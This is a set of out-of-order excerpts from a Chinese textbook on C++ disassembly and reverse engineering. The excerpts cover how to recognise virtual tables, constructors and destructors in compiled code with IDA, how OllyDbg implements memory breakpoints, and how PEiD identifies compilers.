    {"text": "00401510 push ebp 00401511 mov ebp, esp 00401513 push ebx 00401514 and esp, 0FFFFFFF0h 00401517 sub esp, 20h 0040151A call ___main 0040151F mov dword ptr [esp], 4 00401526 call __Znwj ;调用new函数申请空间 0040152B mov ebx, eax 0040152D mov ecx, ebx ;传递this指针 0040152F call __ZN7ChineseC1Ev ;调用构造函数Chinese::Chinese(void) 00401534 mov [esp+1Ch], ebx 00401538 mov eax, [esp+1Ch] 0040153C mov eax, [eax] 0040153E add eax, 8 ;虚析构占两项第三项为showSpeak 00401541 mov eax, [eax] 00401543 mov edx, [esp+1Ch] 00401547 mov ecx, edx ;传递this指针 00401549 call eax ;调用虚函数showSpeak 0040154B mov eax, [esp+1Ch] 0040154F mov eax, [eax] 00401551 mov eax, [eax] ;虚表第一项为析构函数不释放堆空间 00401553 mov edx, [esp+1Ch] 00401557 mov ecx, edx ;传递this指针 00401559 call eax ;显式调用虚析构函数 0040155B mov eax, [esp+1Ch] 0040155F mov [esp+4], eax ;参数2this指针 00401563 mov dword ptr [esp], 4 ;参数1大小为4字节 0040156A call __ZnwjPv ;调用new函数重用空间 0040156F mov ebx, eax 00401571 mov ecx, ebx ;传递this指针 00401573 call __ZN7ChineseC1Ev ;调用构造函数Chinese::Chinese(void) 00401578 mov [esp+1Ch], ebx 0040157C cmp dword ptr [esp+1Ch], 0 00401581 jz short loc_401596 ;堆申请成功释放堆空间 00401583 mov eax, [esp+1Ch] 00401587 mov eax, [eax] 00401589 add eax, 4 0040158C mov eax, [eax] ;虚表第二项为析构代理函数释放堆空间 0040158E mov edx, [esp+1Ch] 00401592 mov ecx, edx ;传递this指针 00401594 call eax ;隐式调用虚析构函数 00401596 mov eax, 0 0040159B mov ebx, [ebp-4] 0040159E leave 0040159F retn ;Chinese虚表 00412F8C off_412F8C dd offset __ZN6PersonD1Ev ;Person::~Person() { 0040D87C push ebp 0040D87D mov ebp, esp 0040D87F sub esp, 4 0040D882 mov [ebp-4], ecx 0040D885 mov edx, offset off_412F8C 0040D88A mov eax, [ebp-4] 0040D88D mov [eax], edx 0040D88F nop 0040D890 leave 0040D891 retn ;不释放堆空间 } 00412F90 dd offset __ZN6PersonD0Ev ;Person::~Person() { 0040D854 push ebp 0040D855 mov ebp, esp 0040D857 sub esp, 28h 0040D85A mov [ebp+var_C], ecx 0040D85D mov eax, [ebp+var_C] 0040D860 mov ecx, eax 0040D862 call __ZN6PersonD1Ev ;调用析构函数 0040D867 mov dword ptr [esp+4], 4 0040D86F mov eax, [ebp+var_C] 0040D872 mov [esp], eax ;void * 0040D875 call __ZdlPvj ;调用delete释放堆空间 0040D87A leave 0040D87B retn } 00412F94 dd offset __ZN6Person9showSpeakEv ;Person::showSpeak(void) 在通过分析反汇编代码识别类关系时对于含有虚函数的类而言利用IDA的交叉参考功能可简化分析识别过程。"},
    {"text": "根据以上分析可知具有虚函数必然存在虚表指针。 为了初始化虚表指针必然要准备构造函数有了构造函数就可利用以上方法顺藤摸瓜得到类关系还原对象模型。 思考题 在调试以上程序时我们会发现Chinese的对象在构造函数执行时虚表已经完成初始化了在析构函数执行时其虚表指针已经是子类的虚表了为什么编译器还要在析构函数中再次将虚表设置为子类虚表呢这是冗余操作吗如果不这么做会引发什么后果答案见本章小结。"},
    {"text": "[1] 名称粉碎name mangling是C++编译器对函数名称的一种处理方式即在编译时对函数名进行重组新名称会包含函数的作用域、原函数名、每个参数的类型、返回值以及调用约定等信息。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 11.2 虚函数的识别 如果掌握了上述虚函数的实现机制就具备了识别虚函数的能力。"},
    {"text": "查找这个虚表需要得到指向它的虚表指针虚表指针又在构造函数中被初始化为虚表首地址。 由此可见要想找到虚函数就要得到虚表的首地址。 经过层层分析识别虚函数最终转变成识别构造函数或者析构函数。 构造函数与虚表指针的初始化有依赖关系。 对于构造函数而言初始化虚表指针会简化识别构造函数的过程而初始化虚表指针又必须在构造函数内完成因此在分析构造函数时应重点考察对象首地址处被赋予的值。"},
    {"text": "查询this指针指向的地址处的内存数据跟踪并分析其数据是否为地址信息是否对这个指针的内容进行赋值操作赋值后的数据是否指向了某个地址表表中各单元项是否为函数首地址。"},
    {"text": "; 具有成员函数特征传递对象首地址作为this指针 lea ecx,[ebp-8] ;获取对象首地址 call XXXXXXXXh ;调用函数 ;调用函数的实现代码内 mov reg, this ;某寄存器得到对象首地址 ;向对象首地址处写入地址数据查看并确认此地址数据是否为函数地址表的首地址 mov dword ptr [reg], XXXXXXXXh 在分析过程中遇到上述代码时应高度怀疑其为构造函数或者析构函数。"},
    {"text": "查看并确认此地址数据是否为函数地址表的首地址即可判断是否为构造或析构函数。 在对构造函数和析构函数进行区分时通过分析它们的特性可知构造函数一定出现在析构函数之前而且在构造函数执行前虚表指针没有指向虚表的首地址而析构函数出现在所有成员函数之后在实现过程中虚表指针已经指向了某一个虚表的首地址。"},
    {"text": "只有构造函数和析构函数中存在对虚表指针的修改操作等同于定位到了引用此虚表的所有构造函数和析构函数这使得识别类中的构造函数和析构变得更为简单也更为准确引用参考选项如图11-4所示。"},
    {"text": "对“交叉参考来自……”的分析如图11-5所示。 图11-5 “交叉参考来自……”视图信息 选中图11-4所示的“Chart of xrefs from”选项后弹出如图11-5所示的“交叉参考来自……”视图信息。"},
    {"text": "图11-6 交叉参考视图信息 图11-6的2个地址标号分别表示一个构造函数和一个析构函数因为它们的实现中都存在引用虚表首地址修改虚表指针的操作所以IDA会将它们找到并显示出来。"},
    {"text": "图11-7 2个引用的函数 借助虚表和IDA的引用参考功能便能轻松找到类中所有的构造函数、析构函数和虚函数的信息可见虚表的重要性。 学习了交叉参考与虚表的知识后我们可以利用交叉参考与虚表的组合快速识别程序中全局对象对应的类的构造函数和析构函数。 因为构造函数可以被重载分析起来相对复杂所以我们先从任意一个构造函数或者析构函数入手找到虚表的操作部分使用IDA的交叉参考找到所有对此虚表指针有修改的函数的地址除析构函数的地址外剩余的就是构造函数。"},
    {"text": "代码清单11-5 含有虚函数的全局对象 //C++源码 #include <stdio.h> class Global { public: Global() { //无参构造函数 printf(\"Global\\n\"); } Global(int n) { //有参构造函数 printf(\"Global(int n) %d\\n\", n); } Global(const char *s) { //有参构造函数 printf(\"Global(char *s) %s\\n\", s); } virtual ~Global() { //虚析构函数 printf(\"~Global()\\n\"); } void show(){ printf(\"Object Addr: 0x%p\", this); } }; Global g_global1; Global g_global2(10); Global g_global3(\"hello C++\"); int main(int argc, char* argv[]) { g_global1.show(); g_global2.show(); g_global3.show(); return 0; } 代码清单11-5中定义了3个全局对象分别调用了3种不同的构造函数。"},
    {"text": "代码清单11-6 全局对象识别Release版 //x86_vs对应汇编代码讲解 ;main函数: 004010A0 push offset off_419000 ;参数1获取对象首地址&g_global1 004010A5 push offset aObjectAddr0xP ;参数2\"Object Addr: 0x%p\" 004010AA call sub_4010E0 ;调用printf函数 004010AF push offset off_419004 ;参数1获取对象首地址&g_global2 004010B4 push offset aObjectAddr0xP ;参数2\"Object Addr: 0x%p\" 004010B9 call sub_4010E0 ;调用printf函数 004010BE push offset off_419008 ;参数1获取对象首地址&g_global3 004010C3 push offset aObjectAddr0xP ;参数2\"Object Addr: 0x%p\" 004010C8 call sub_4010E0 ;调用printf函数 004010CD add esp, 18h 004010D0 xor eax, eax 004010D2 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码相似略 //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 经过内联优化后代码清单11-6中没有了成员函数show的调用过程直接内联使用printf函数显示全局对象首地址。"},
    {"text": "虽然没有了成员函数传递this指针的过程但因为在成员函数中使用了printf经过内联优化必须存在等价类成员函数的功能所以成员函数的实现代码不会被删除。"},
    {"text": "我们只须逐一检查3个全局地址标号off_419000、off_419004和off_419008即可得知是否为全局对象。 有了全局对象的地址标号以后接下来要对它们重新命名如下所示。"},
    {"text": "00401000 push offset aGlobal_0 ;\"Global\\n\" 00401005 call sub_4010E0 ;调用printf函数构造函数内联 0040100A push offset sub_411690 ;void (__cdecl *)() 0040100F call _atexit 00401014 add esp, 8 00401017 retn 这个函数的关键之处是调用atexit查阅相关文档可知该函数可以在退出main()函数后执行开发者自定义的函数即注册终止函数其函数声明如下。 int cdecl atexit(void ( cdecl *)(void)); 只有一个无参且无返回值的函数指针作为atexit的参数这个函数指针会添加在终止函数的数组中在main()函数执行完毕后由_execute_onexit_table函数倒序执行数组中的每个函数。"},
    {"text": "查找函数_atexit查看调用它的地址如图11-8所示。 图11-8 _atexit的引用查看 根据图11-8的显示至少有两个地址调用这个函数分别为0x00401000和0x00401020。 双击0x00401000这个地址找到_atexit的函数调用处如图11-9所示。 图11-9 _atexit的引用函数 在调用_atexit函数前压入了一个参数这个参数为地址标号此地址标号指向的地址正是全局对象g_global1的析构函数。"},
    {"text": "在sub_411690中发现了一句代码“mov g_global1, offset ??_7Global@@6B@”这就是在析构函数中设置的虚表信息??_7Global@@6B@是虚表首地址将其重新命名为Global_vtable。"},
    {"text": "使用快捷键x对Global_vtable使用交叉参考如图11-10所示。 图11-10 虚表Global_vtable的交叉参考 从图11-10中可知共有3处引用此虚表如果构造函数没有内联会有6处引用。"},
    {"text": "0x00411690 对应析构函数的调用地址 0x004116B0 对应析构函数的调用地址 0x004116D0 对应析构函数的调用地址 例如0x004116D0这个地址便是图11-9析构函数写入虚表指令的地址其余析构函数的查看分析略。"},
    {"text": "在IDA中查看地址0x004116D0如图11-11所示。 图11-11 分析析构函数 图11-11显示了地址0x004116D0中的信息其余地址的分析过程相同这里就不一一分析和验证了。"},
    {"text": "[1] “Chart of xrefs from”指的是某数据或函数的来源IDA的中文版翻译为“交叉参考来自……”是贴切的因此本书使用“交叉参考来自……”的译法。 “Chart of xrefs to”指的是数据或函数的引用者读取者译为“交叉参考到……”也是很贴切的故本书使用此种译法。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 15.2 内存断点 在15.1节我们介绍了INT3断点的设置与删除在分析过程中我们发现如果将INT3断点设置在非代码段内就会抛出错误提示信息。 因为INT3断点属于执行断点所以对于数据的读/写操作而言INT3断点是无效的。 INT3断点有局限性而内存断点正好弥补了这个不足。"},
    {"text": "通过对OllyDbg的分析可总结出内存断点的实现流程。 要想分析内存断点的实现首先需要确定其位置内存断点的设置也是通过消息完成的。 与INT3断点的不同之处在于内存断点可以在反汇编窗口与内存窗口这两个窗口中进行设置。 在调用设置内存断点函数前也需要检查断点类型。 数据窗口中内存断点的类型如下。 0x7E访问断点 0x7F内存写入断点 0x80清除内存断点 反汇编窗口内存断点的类型如下。 0x23访问断点 0x24内存写入断点 0x25清除内存断点 这些断点类型决定了调用设置内存断点函数时传入的参数。 以数据窗口中的内存访问断点为例其代码分析如下。 cmp edi, 7Eh JXX 0xXXXXXXXX ; 检查断点类型 mov eax, [ebp+var_54] sub eax, [ebp+var_50] push eax ; 监视长度 mov edx, [ebp+var_50] push edx ; 断点首地址 push 3 ; 断点属性 call _Setmembreakpoint ; 设置内存断点函数 根据断点的类型为设置内存断点的函数_Setmembreakpoint配置参数。 _Setmembreakpoint的第一个参数为断点属性。"},
    {"text": "代码清单15-5 设置内存断点函数_SetmembreakpointIDA分析 ; _Setmembreakpoint 实现分析 _Setmembreakpoint proc near ; 函数入口 004192D8 arg_0 = dword ptr 8 004192D8 arg_4 = dword ptr 0Ch 004192D8 arg_8 = dword ptr 10h ; 保存环境代码分析略 004192E5 mov edi, [ebp+arg_8] ; 断点长度 004192E8 mov esi, [ebp+arg_4] ; 断点所在内存首地址 004192EB mov ebx, [ebp+arg_0] ; 断点类型标识符 004192EE jnz loc_41938D 004192F4 cmp VersionInformation.dwPlatformId, 2 004192FB jz loc_41938D 00419301 push esi 00419302 call _Findmemory ; 查找此处内存是否存在 00419307 pop ecx 00419308 cmp esi, 80000000h ; 检查是否为系统占用内存 0041930E jb short loc_419334 ; 跳转失败进入警告提示部分 ; 警告提示部分略 loc_419334: ; 地址标号 00419334 test eax, eax ; 检查是否为资源数据占用内存 00419336 jz short loc_419363 ; 跳转失败进入警告提示部分 ; 警告提示部分略 loc_419363: ; 地址标号 00419363 test eax, eax ; 检查是否为堆栈数据占用内存 00419365 jz short loc_41938D ; 跳转失败进入警告提示部分 ; 警告提示部分略 loc_41938D: ; 地址标号 ; 此函数将会修改属性页并对修改结果进行相关检查 0041938D call sub_418E24 00419392 test eax, eax ; 检查是否修改属性成功 00419394 jz short loc_41939E ; 成功则跳转 00419396 or eax, 0FFFFFFFFh 00419399 jmp loc_41941E loc_41939E: ; 地址标号 0041939E mov eax, esi ; 设置内存断点信息结构 004193A0 mov edx, edi 004193A2 mov dword_4D813C, eax ; 填写内存断点结构第二项 004193A7 mov ecx, eax 004193A9 add eax, edx 004193AB and ecx, 0FFFFF000h 004193B1 add eax, 0FFFh 004193B6 mov dword_4D8140, edx ; 填写内存断点结构第三项 004193BC and eax, 0FFFFF000h 004193C1 mov dword_4D8144, ecx ; 填写内存断点结构第四项 004193C7 test bh, 10h 004193CA mov dword_4D8148, eax ; 填写内存断点结构第五项 004193CF setnz al 004193D2 and eax, 1 004193D5 and ebx, 3 004193D8 mov dword_4D8138, eax 004193DD mov dword_4D8D5C, 1 004193E7 test ebx, ebx 004193E9 jz short loc_4193EF 004193EB test edi, edi 004193ED jnz short loc_4193F3 loc_4193EF: ; 地址标号 004193EF xor eax, eax 004193F1 jmp short loc_41941E loc_4193F3: ; 地址标号 004193F3 cmp ebx, 2 004193F6 jnz short loc_419404 004193F8 mov dword_4D814C, 20h ; 填写内存断点结构第六项 00419402 jmp short loc_41940E loc_419404: 00419404 mov dword_4D814C, 1 loc_41940E: ; 地址标号 0041940E cmp dword_4D5A5C, 3 ; 检查是否在运行状态 00419415 jnz short loc_41941C ; 如果没有运行则跳转到函数结尾并返回 ; 通过此函数设置内存属性如果访问断点则将内存属性修改为不可访问 ; 于是当执行到此断点处就会触发异常由OllyDbg捕获进行处理 00419417 call sub_419034 ; 重命名为SetMemPorperty loc_41941C: ; 地址标号 0041941C xor eax, eax loc_41941E: ; 地址标号 ; 还原环境分析略 00419422 retn _Setmembreakpoint endp 代码清单15-5的主要功能是检查断点所处的内存位置并通过修改内存属性制造异常信息然后由OllyDbg捕获并处理从而实现断点的功能。"},
    {"text": "struct tagBreakPoint{ DWORD dwUnknow; DWORD dwBreakPointAddr; // 内存断点所在的首地址 DWORD dwLen; // 设置内存断点长度 DWORD dwBeginMemAddr; // 内存断点首地址所处内存分页 DWORD dwEndMemAddr; // 内存断点末尾地址所处内存分页 DWORD dwType; // 断点类型0x01访问断点0x20写入断点 DWORD dwUnknow; }; OllyDbg通过此结果记录内存断点信息每次设置新的内存断点后OllyDbg都会覆盖此结构因此只能记录一份内存断点。 接下来会根据tagBreakPoint结构中记录的内存断点信息调用地址标号sub_418E24处的代码完成内存页属性的修改将其重命名为SetMemProperty过程分析如代码清单15-6所示。 代码清单15-6 SetMemProperty分析IDA分析 SetMemPorperty proc near 00419034 buffer = byte ptr -22Ch 00419034 var_12C = byte ptr -12Ch 00419034 var_2C = byte ptr -2Ch 00419034 var_20 = dword ptr -20h 00419034 var_18 = dword ptr -18h ; 保存环境部分略 0041903E mov ebp, offset dword_4D8D58 00419043 cmp hProcess, 0 ; 检查进程句柄 0041904A jz short loc_41905E 0041904C cmp dword_4D8140, 0 ; 检查断点长度 00419053 jz short loc_41905E 00419055 cmp dword_4D8134, 0 ; 检查标记 0041905C jz short loc_419065 loc_41905E: ; 地址标号 0041905E xor eax, eax 00419060 jmp loc_4192CB ; 跳转到结束处 loc_419065: ; 地址标号 ; 检查VirtualQuery 00419065 cmp dword_4D5A14, 0 ; 重命名地址标号为VirtualQuery 0041906C jz short loc_419077 ; 检查VirtualProtectEx 0041906E cmp dword_4D5A18, 0 ; 重命名地址标号为VirtualProtectEx 00419075 jnz short loc_41907F ; 若正确则跳过下面的错误处理 ; 错误处理部分略 loc_41907F: ; 地址标号 0041907F xor edx, edx 00419081 mov [ebp+0], edx 00419084 mov eax, dword_4D8144 00419089 mov ebx, eax 0041908B and dword_4D814C, 0FFFFFEFFh 00419095 push eax 00419096 call _Findmemory ; 查找此处内存是否存在 0041909B pop ecx 0041909C test eax, eax ; 检查是否取得成功 0041909E jz loc_4191C9 ; 成功则跳转失败继续检查 004190A4 test byte ptr [eax+0Bh], 20h ; 检查是否为TY_GUARDED保护 004190A8 jz loc_4191C9 004190AE or dword_4D814C, 100h ; 将写入标志与0x100进行位或运算 004190B8 jmp loc_4191C9 ; 跳转到循环比较处 loc_4190BD: ; 循环起始地址 004190BD push 1Ch 004190BF lea eax, [esp+230h+var_2C] 004190C6 push eax 004190C7 push ebx 004190C8 mov edx, hProcess 004190CE push edx 004190CF call VirtualQuery ; 查看进程的内存属性信息 004190D5 mov edx, [esp+22Ch+var_20] 004190DC mov ecx, edx ; 内存页起始地址 004190DE add ecx, ebx ; 加上属性页最小单位0x1000 004190E0 mov eax, dword_4D8148 ; 使用eax保存内存页结尾地址 004190E5 cmp ecx, eax ; 检查断点是否包含在此内存页中 004190E7 jnb short loc_4190ED ; 如果不包含则跳转失败 004190E9 mov esi, edx ; 内存对齐最小单位 004190EB jmp short loc_4190F1 loc_4190ED: ; 地址标号 004190ED mov esi, eax 004190EF sub esi, ebx ; 获取内存断点的范围 loc_4190F1: ; 地址标号 ; 部分代码分析略 loc_419189: ; 地址标号 00419189 mov edi, dword_4D814C loc_41918F: ; 地址标号 0041918F mov eax, [ebp+0] 00419192 mov edx, hProcess 00419198 shl eax, 2 0041919B add eax, offset dword_4D8158 004191A1 push eax 004191A2 push edi 004191A3 push esi 004191A4 push ebx 004191A5 push edx 004191A6 call VirtualProtectEx ; 修改断点所在的内存页属性 004191AC test eax, eax 004191AE jz short loc_4191DE ; 如果设置失败就跳转到错误处理 004191B0 mov ecx, [ebp+0] 004191B3 mov dword_4D8558[ecx*4], edi loc_4191BA: ; 地址标号 004191BA mov eax, [ebp+0] ; 保存原内存页属性用于还原 004191BD mov dword_4D8958[eax*4], esi 004191C4 add ebx, esi 004191C6 inc dword ptr [ebp+0] loc_4191C9: ; 地址标号 ; 检查内存断点是否超过最大长度0x1000*0x100若超过则设置内存断点失败 ; 另外检查是否已经设置完内存断点范围内的所有内存页若没有则继续设置 004191C9 cmp dword ptr [ebp+0], 100h 004191D0 jge short loc_4191DE 004191D2 cmp ebx, dword_4D8148 ; 检查内存页属性是否已经设置完毕 ; 若内存断点尚未设置完毕则跳转回循环起始处继续设置 004191D8 jb loc_4190BD loc_4191DE: ; 地址标号 ; 内存断点所属内存页的相关检查 004191DE cmp ebx, dword_4D8144 004191E4 jnz short loc_41924A ; 若设置失败跳转到错误处理 ; 错误检查和错误提示相关代码分析略 004192D5 retn SetMemPorperty endp 对内存属性的修改会影响整个内存页的属性当内存断点设置的范围超出内存页的大小时就会影响多个内存页。"},
    {"text": "内存断点的设置过程主要依靠两个API完成VirtualQuery和VirtualProtectEx。 通过VirtualQuery获取原内存页的属性以便于还原通过VirtualProtectEx修改内存页的属性以制造内存访问异常。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 4.6 本章小结 本章首先讲解了表达式求值这是分析过程中还原目标算法的基础。然后由此引申出很多对优化思路的讨论这里涉及很多数学知识。在软件开发和逆向分析领域入门时数学知识可能并不重要只用做个熟练的技术人员就行。但是技术水平到了一定程度后如果还想达到更高的境界就需要复习数学知识了。所以对于逆向分析技术人员来说数学水平的高低直接决定了“你的饭碗里面有没有肉”。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 10.3 析构函数的出现时机 人皆有生死对象也不例外编译器掌握着对象的生杀大权。"},
    {"text": "构造函数是对象诞生的象征对应的析构函数则是对象销毁的特征。 对象何时被销毁呢根据对象所在的作用域当程序流程执行到作用域结束处时会释放该作用域内的所有对象在释放的过程中会调用对象的析构函数。"},
    {"text": "析构函数与构造函数的出现时机相同但并非有构造函数就一定会有对应的析构函数。 析构函数的触发时机也需要视情况而定主要分如下几种情况。 局部对象作用域结束前调用析构函数。 堆对象释放堆空间前调用析构函数。 参数对象退出函数前调用参数对象的析构函数。 返回对象如无对象引用定义退出函数后调用返回对象的析构函数否则与对象引用的作用域一致。 全局对象main()函数返回后调用析构函数。 静态对象main()函数返回后调用析构函数。 1. 局部对象 要考察局部对象析构函数出现的时机应重点考察其作用域的结束处。"},
    {"text": "代码清单10-7 局部对象的析构函数调用Debug版 // C++ 源码 #include <stdio.h> class Person { public: Person() { age = 1; } ~Person() { printf(\"~Person()\\n\"); } private: int age; }; int main(int argc, char* argv[]) { Person person; return 0; //退出函数后调用析构函数 } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 lea ecx, [ebp-4] ;获取对象的首地址作为this指针 00401009 call sub_401030 ;调用构造函数 0040100E mov dword ptr [ebp-8], 0 00401015 lea ecx, [ebp-4] ;获取对象的首地址作为this指针 00401018 call sub_401050 ;调用析构函数 0040101D mov eax, [ebp-8] 00401020 mov esp, ebp 00401022 pop ebp 00401023 retn 00401050 push ebp ;析构函数 00401051 mov ebp, esp 00401053 push ecx 00401054 mov [ebp-4], ecx 00401057 push offset aPerson ;参数1\"~Person()\\n\" 0040105C call sub_4010B0 ;调用printf函数 00401061 add esp, 4 00401064 mov esp, ebp 00401066 pop ebp 00401067 retn ;无返回值 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D lea rcx, [rsp+20h] ;获取对象的首地址作为this指针 0000000140001012 call sub_140001040 ;调用构造函数 0000000140001017 mov dword ptr [rsp+24h], 0 000000014000101F lea rcx, [rsp+20h] ;获取对象的首地址作为this指针 0000000140001024 call sub_140001060 ;调用析构函数 0000000140001029 mov eax, [rsp+24h] 000000014000102D add rsp, 38h 0000000140001031 retn 0000000140001060 mov [rsp+8], rcx ;析构函数 0000000140001065 sub rsp, 28h 0000000140001069 lea rcx, aPerson ;参数1\"~Person()\\n\" 0000000140001070 call sub_1400010E0 ;调用printf函数 0000000140001075 add rsp, 28h 0000000140001079 retn ;无返回值 //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单10-7中的类Person提供了析构函数在对象Person所在的作用域结束处调用了析构函数~Person()。"},
    {"text": "析构函数同样属于成员函数因此在调用的过程中也需要传递this指针。 析构函数与构造函数略有不同析构函数不支持函数重载只有一个参数即this指针而且编译器隐藏了这个参数的传递过程。"},
    {"text": "使用new申请堆对象空间后何时释放对象要看开发者在哪里调用delete释放对象所在的堆空间。 delete的使用便是找到堆对象调用析构函数的关键点。 我们先来看看释放堆空间前调用析构函数的过程如代码清单10-8所示。"},
    {"text": "为什么不直接调用析构函数呢原因有很多其中一个就是在某些情况下需要释放的对象不止一个如果直接调用析构函数无法完成多对象的析构代码如下所示。"},
    {"text": "//Person类的定义见代码清单10-1请读者自行加入析构函数 int main(int argc, char* argv[]) { Person *objs = new Person[3]; //申请对象数组 delete[] objs; //释放对象数组 return 0; } 在以上代码中使用new申请对象数组。"},
    {"text": "代码清单10-9 多个堆对象的申请与释放Debug版 //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 14h 00401006 push 10h ;每个对象占4字节却申请了16字节大小的空间 ;多出的4字节数据是什么呢在申请对象数组时 ;会使用堆空间的首地址处的4字节内容保存对象 ;总个数 00401008 call sub_401238 ;调用new函数 0040100D add esp, 4 00401010 mov [ebp-4], eax ;[ebp-4]保存申请的堆空间的首地址 00401013 cmp dword ptr [ebp-4], 0 00401017 jz short loc_401042 ;检查堆空间的申请是否成功 00401019 mov eax, [ebp-4] 0040101C mov dword ptr [eax], 3 ;设置首地址的4字节数据为对象个数 00401022 push offset sub_401080 ;参数4构造函数的地址作为构造代理函数参数 00401027 push 3 ;参数3对象个数作为函数参数 00401029 push 4 ;参数2对象大小作为函数参数 0040102B mov ecx, [ebp-4] 0040102E add ecx, 4 ;跳过首地址的4字节数据 00401031 push ecx ;参数1第一个对象地址作为函数参数 00401032 call sub_401140 ;构造代理函数调用该函数的讲解见代码清单10-10 00401037 mov edx, [ebp-4] 0040103A add edx, 4 ;跳过堆空间首4字节的数据 0040103D mov [ebp-8], edx ;保存堆空间中的第一个对象的首地址 00401040 jmp short loc_401049 ;跳过申请堆空间失败的处理 00401042 mov dword ptr [ebp-8], 0 ;申请堆空间失败赋值空指针 00401049 mov eax, [ebp-8] 0040104C mov [ebp-10h], eax 0040104F mov ecx, [ebp-10h] 00401052 mov [ebp-0Ch], ecx ;数据最后到objs打开02就简洁了 00401055 cmp dword ptr [ebp-0Ch], 0 00401059 jz short loc_40106A ;检查对象指针是否为NULL 0040105B push 3 ;参数2释放对象类型标志1为单个对象3为释 ;放对象数组0表示仅执行析构函数不释放堆空 ;间其作用会在讲解多重继承时详细介绍。"},
    {"text": "在申请对象数组时由于对象都在同一个堆空间中32位程序编译器使用了堆空间的前4字节数据保存对象的总个数64位程序编译器使用了堆空间的前8字节数据保存对象的总个数。"},
    {"text": "正是因为多出来的这些空间许多初学者在申请对象数组时使用了new []而在释放对象的过程中没有使用delete []使用的是delete于是产生了堆空间释放的错误。 在使用delete不使用delete []的情况下当数组元素为基本数据类型时不会出错但是当数组元素为存在析构函数的对象时就会出错。"},
    {"text": "在VS中由于类对象与其他基本数据类型不同在对象产生时需要调用构造函数来初始化对象中的数据所以用到了代理函数。 代理函数的功能是根据对象数组的元素逐个调用它们的构造函数完成初始化过程。"},
    {"text": "在Debug版下编译器产生了循环结构的代码根据数组中对象的总个数从堆数组中的第一个对象首地址开始依次向后遍历数组中的每个对象将数组中每个对象的首地址作为this指针逐个调用构造函数。"},
    {"text": "在Debug版下编译器产生了循环结构的代码根据数组中对象的总个数从堆数组中的最后一个对象的首地址开始依次向前遍历数组中的每个对象将数组中每个对象的首地址作为this指针逐个调用析构函数。"},
    {"text": "释放对象数组时在delete函数后面添加符号“[]”是一个关键之处。 单个对象的释放不可以添加符号“[]”因为这样会把delete函数的目标指针减4或者8释放单个对象的空间时就会发生错误当执行到delete函数时会产生堆空间释放错误。 在申请对象堆空间时许多初学者会在申请过程中错误地将申请多个对象写成有参构造函数的调用而在释放时却加入符号“[]”代码如下所示。 //类定义 class Person { public: Person(int age) { printf(\"%d\\n\", age); }; }; //调用过程 int main() { //调用对象的有参构造函数而非申请5个对象堆空间 Person* p = new Person(5); //此处使用了释放对象数组的语句如此一来将会以对象数组的方式安排内存结构 delete [] p; return 0; } 对于以上堆内存格式当使用new运算申请对象数组时前4或者8字节空间用于记录数组内元素的个数以便于执行每个数组元素的构造函数和析构函数。"},
    {"text": "Person person = getObject(); 上述代码是把person的地址作为隐含参数传递给getObject()在getObject()内部完成复制构造的过程。 函数执行完毕后person就已经构造完成了所以析构函数由person的作用域决定代码分析见代码清单10-3和代码清单10-4中函数调用的结尾处即return操作后的汇编代码。 当返回值为对象的函数遇到如下代码时 person = getObject(); 因为这样的代码不是person在定义时赋初值所以不会触发person的复制构造函数这时候会产生临时对象作为getObject()的隐含参数这个临时对象会在getObject()内部完成复制构造函数的过程。 函数执行完毕后如果Person的类中定义了“=”运算符重载则进行调用否则根据对象成员逐个赋值。 如果对象内数据量过大就会调用rep movs这样的串操作指令批量赋值这样的赋值方式属于浅拷贝。"},
    {"text": "又如 Number = getNumber(), printf(\"Hello\\n\"); 这是一条语句逗号运算符后是printf调用于是临时对象的析构在printf函数执行完毕后才会触发对此细节感兴趣的读者可以把这个问题作为练手的例子进行分析。"},
    {"text": "它们的析构函数的调用时机是在main()函数执行完毕之后。 既然构造函数出现在初始化过程中对应的析构函数就会出现在程序结束处。 我们来看一下初始化函数它在调用main()函数结束后使用了exit终止程序如图10-3所示。 图10-3 程序结束 在main()函数调用结束后由exit结束进程从而终止程序的运行。"},
    {"text": "_PVFV* saved_first = first; _PVFV* saved_last = last; for (;;) { //从后向前依次释放全局对象 _PVFV const function = __crt_fast_decode_pointer(*last); *last = encoded_nullptr; //调用保存的函数指着 function(); } 调用__crt_fast_decode_pointer函数可以获取保存各类资源释放函数的首地址。"},
    {"text": "本章对全局对象的构造函数和析构函数的分析是针对VS2019的在更高的版本中全局对象的构造函数和析构代理函数在细节上可能会有所变化读者切勿死记硬背。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第14章 PEiD的工作原理分析 14.1 开发环境的识别 PEiD是一款很好用的PE文件分析工具。"},
    {"text": "下面以查看文件是由哪个编译器生成的为例使用PEiD打开示例程序如图14-1所示。 图14-1 PEiD界面 从图14-1中可以看出PEiD已经分析出示例程序是由Microsoft Visual C++ 6.0编写的。 PEiD不仅可以分析出生成PE文件的编译器的版本还可以在PE文件经过加壳处理后分析出相应的加壳版本。"},
    {"text": "我们需要查看调用到此处的代码在哪里单击地址0x0043FFDOllyDbg会画出红线作为指示跟踪到红线的另一端进一步分析该程序如图14-4所示。 图14-4 读取字符串0x00405A28的操作代码起始地址 顺藤摸瓜找到调用字符串的地址为0x00438D13如图14-4所示。"},
